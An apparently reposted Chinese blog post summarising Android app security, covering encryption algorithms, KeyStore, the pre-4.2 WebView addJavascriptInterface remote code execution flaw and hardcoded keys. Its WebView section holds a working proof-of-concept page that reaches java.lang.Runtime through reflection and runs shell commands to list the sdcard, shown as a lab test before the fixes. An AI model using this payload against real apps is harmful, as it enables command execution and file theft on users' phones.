美文网首页
Android 应用安全开发总结

Android 应用安全开发总结

作者: codedreamzone | 来源:发表于2017-07-12 15:02 被阅读0次

    关于应用安全开发的参考文章:
    Android保存私密信息-强大的keyStore
    Android 应用安全开发之浅谈加密算法的坑
    安全性和隐私权最佳做法
    Android应用存储安全与加固
    Android数据加密之Des加密

    应用程序的安全问题,大致分为以下4点

    1. 敏感数据没有加密,容易被窃取。
    2. Android安全漏洞没有修补,容易被利用攻击。
    3. 代码没有混淆,apk安装包容易被逆向破解。
    4. 数据传输没有使用https,容易被中间人攻击,运营劫持。

    一、对敏感数据进行加密

    加密算法比较

    常见加密算法分,用途,原理以及比较
    数字签名是什么?
    Android应用安全开发之浅谈加密算法的坑

    1. 对称加密算法。即加密和解密均采用同一把秘密钥匙
      DES(Data Encryption Standard):数据加密标准,速度较快,适用于加密大量数据的场合。
      3DES(Triple DES):是基于DES,对一块数据用三个不同的密钥进行三次加密,强度更高。
      AES(Advanced Encryption Standard):在密码学中又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。高级加密标准,是下一代的加密算法标准,速度快,安全级别高;
    2. 非对称加密算法。采用的加密钥匙(公钥)和解密钥匙(私钥)是不同的。
      RSA:由 RSA 公司发明,是一个支持变长密钥的公共密钥算法,需要加密的文件块的长度也是可变的;
      DSA(Digital Signature Algorithm):数字签名算法,是一种标准的 DSS(数字签名标准);
      ECC(Elliptic Curves Cryptography):椭圆曲线密码编码学。
    3. 散列算法。散列是信息的提炼,通常其长度要比信息小得多,且为一个固定长度
      MD5(Message Digest Algorithm 5):是RSA数据安全公司开发的一种单向散列算法。
      SHA(Secure Hash Algorithm):可以对任意长度的数据运算生成一个160位的数值;

    关于公钥、私钥

    之前一直不理解这个钥匙还能用于加密,本以为钥匙不是用于解锁的吗?还能上锁,其实是我理解错了,
    数字签名是什么?

    利用KeyStore加密数据-Android4.3以上

    KeyStore生成的密钥来加密和解密敏感信息,包括银卡号、密码、token等数据,加密后可以放心的保存在SharedPreferences、数据库中而不担心被破解,即使手机被root导出数据也不必担心。

    二、Android 安全漏洞

    app 漏洞来自阿里聚安全

    1. Android Webview远程代码执行漏洞

    这个漏洞在Android 平台4.2之前存在,在后续的平台中不会存在。利用该漏洞可以执行很多后台操作,比如操作手机的文件系统,下载病毒到手机上。
    android各版本占比情况,API<=17的大概占比9.2%,还有将近10%的比例呀,以上数据来自google官方。


    android各版本占比.png

    漏洞的危害

    安卓WebView中接口隐患(远程代码执行漏洞)与手机挂马利用学习

    实验验证

    实验目的:获取手机sdcard命令下的所有文件
    准备:Android4.1.1版本的手机一台
    开发工具:Android studio

    Paste_Image.png

    MainActivity

    public class MainActivity extends Activity {
        private WebView mWebView;
        private Uri mUri;
        private String url;
        //String mUrl1 = "file:///android_asset/html/attack_file.html";file:///android_asset/test.html
        String mUrl2 = "file:///android_asset/test.html";//https://security.tencent.com/lucky/check_tools.html
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_web_view);
            mWebView = (WebView)findViewById(R.id.webview);
            mWebView.getSettings().setJavaScriptEnabled(true);
    
            mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
            //webView.getSettings().setAllowFileAccessFromFileURLs(true);
            mWebView.setWebChromeClient(new WebChromeClient() {
                @Override
                public boolean onJsAlert(WebView view, String url, String message,
                        JsResult result) {
                    //Required functionality here
                    return super.onJsAlert(view, url, message, result);
                }
            });
            mWebView.loadUrl(mUrl2);
    
            File file = new File("/sdcard/tt.txt");
            try {
                file.createNewFile();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
        class JSInterface {
            public String onButtonClick(String text) {
                final String str = text;
                runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        Log.e("leehong2", "onButtonClick: text = " + str);
                        Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
                    }
                });
    
                return "This text is returned from Java layer.  js text = " + text;
            }
    
            public void onImageClick(String url, int width, int height) {
                final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;
                Log.i("leehong2", str);
                runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
                    }
                });
            }
        }
    
    }
    

    无法是否设置了mWebView.addJavascriptInterface(new JSInterface(), "jsInterface"),只要mWebView.getSettings().setJavaScriptEnabled(true);都会导致漏洞

    test.html

    <html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
        <script>
            var i=0;
            function getContents(inputStream)
            {
                var contents = ""+i;
                var b = inputStream.read();
                var i = 1;
                while(b != -1)
                {
                    var bString = String.fromCharCode(b);
                    contents += bString;
                    contents += "\n"
                    b = inputStream.read();
                }
                i=i+1;
                return contents;
           }
    
           function execute(cmdArgs)
           {
                for (var obj in window)
                {
                    //console.log(window[obj]);
                    if ("getClass" in window[obj])
                    {
                        alert(window[obj]);
                        return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
                    }
                }
           }
           //echo hello > test.txt
           // var p = execute(["touch","/mnt/sdcard/yu2.txt"]);
          var p = execute(["ls","/mnt/sdcard/"]);
          document.write(getContents(p.getInputStream()));
    
        </script>
    
        <script language="javascript">
          function onButtonClick() 
          {
            // Call the method of injected object from Android source.
            var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");
            alert(text);
          }
    
          function onImageClick() 
          {
            //Call the method of injected object from Android source.
            var src = document.getElementById("image").src;
            var width = document.getElementById("image").width;
            var height = document.getElementById("image").height;
    
            // Call the method of injected object from Android source.
            //https://ss0.bdstatic.com/70cFuHSh_Q1YnxGkpoWK1HF6hhy/it/u=292050601,2473871589&fm=26&gp=0.jpg
            window.jsInterface.onImageClick(src, width, height);
          }
    
        </script>
    </head>
    
    <body>
    <p>点击图片把URL传到Java代码</p>
    <img class="curved_box" id="image"
         onclick="onImageClick()"
         width="328"
         height="185"
         src="https://ss0.bdstatic.com/70cFuHSh_Q1YnxGkpoWK1HF6hhy/it/u=292050601,2473871589&fm=26&gp=0.jpg"
         onerror="this.src='background_chl.jpg'"/>
    </p>
    <button type="button" onclick="onButtonClick()">与Java代码交互</button>
    </body>
    </html>
    

    该漏洞主要是由于js可以通过反射机制获取到了java.lang.Runtime,通过命令来操作系统。

    AndroidManifest.xml

    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="com.scott.myapplication">
    
        <uses-permission android:name="android.permission.INTERNET"/>
        <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
        <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
        <application
            android:allowBackup="true"
            android:icon="@mipmap/ic_launcher"
            android:label="@string/app_name"
            android:roundIcon="@mipmap/ic_launcher_round"
            android:supportsRtl="true">
            <activity
                android:name=".MainActivity"
                android:label="@string/title_activity_main">
                <intent-filter>
                    <action android:name="android.intent.action.MAIN"/>
                    <category android:name="android.intent.category.LAUNCHER" />
                </intent-filter>
            </activity>
        </application>
    
    </manifest>
    
    android-webkit-SearchBoxImpl.png android-JSInterface.png

    实验结果

    实验前sdcard文件列表清单.png 获取到手机的文件列表

    终于验证了webview的漏洞,一定要找一个Android4.2.2以下版本的手机,用虚拟机不容易验证!

    解决漏洞办法

    • 在Android4.2.2版本之前

      • 如果不需要用到和Javascript进行交交互,要禁止与远程Javascript交互的接口,删除searchBoxJavaBridge_接口,不使用addJavascriptInterface方法。
        mWebView.getSettings().setJavaScriptEnabled(false);
        mWebView.removeJavascriptInterface("searchBoxJavaBridge_");
        mWebView.removeJavascriptInterface("accessibility");
        mWebView.removeJavascriptInterface("accessibilityTraversal");
    • 如果需要和Javascript进行交互。
      Android WebView的Js对象注入漏洞解决方案
      WebView 远程代码执行漏洞浅析
      在WebView中如何让JS与Java安全地互相调用。这篇文章所说的解决办法,还是需要调用下面三个方法,才能达到解决漏洞的目的。
      mWebView.removeJavascriptInterface("searchBoxJavaBridge_");
      mWebView.removeJavascriptInterface("accessibility");
      mWebView.removeJavascriptInterface("accessibilityTraversal");

    • 在Android4.2.2版本之后
      采用注解@JavascriptInterface。


    2. 密钥硬编码

    密钥硬编码的几种形式

    Android安全开发之浅谈密钥硬编码

    1. 密钥直接明文存在sharedprefs文件中,这是最不安全的。
    • 密钥直接硬编码在Java代码中,这很不安全,dex文件很容易被逆向成java代码。
    • 将密钥分成不同的几段,有的存储在文件中、有的存储在代码中,最后将他们拼接起来,可以将整个操作写的很复杂,这因为还是在java层,逆向者只要花点时间,也很容易被逆向。
    • 用ndk开发,将密钥放在so文件,加密解密操作都在so文件里,这从一定程度上提高了的安全性,挡住了一些逆向者,但是有经验的逆向者还是会使用IDA破解的。
    • 在so文件中不存储密钥,so文件中对密钥进行加解密操作,将密钥加密后的密钥命名为其他普通文件,存放在assets目录下或者其他目录下,接着在so文件里面添加无关代码(花指令),虽然可以增加静态分析难度,但是可以使用动态调式的方法,追踪加密解密函数,也可以查找到密钥内容。

    密钥存储的正确方式

    相关文章

      网友评论

          本文标题:Android 应用安全开发总结

          本文链接:https://www.haomeiwen.com/subject/xzbucxtx.html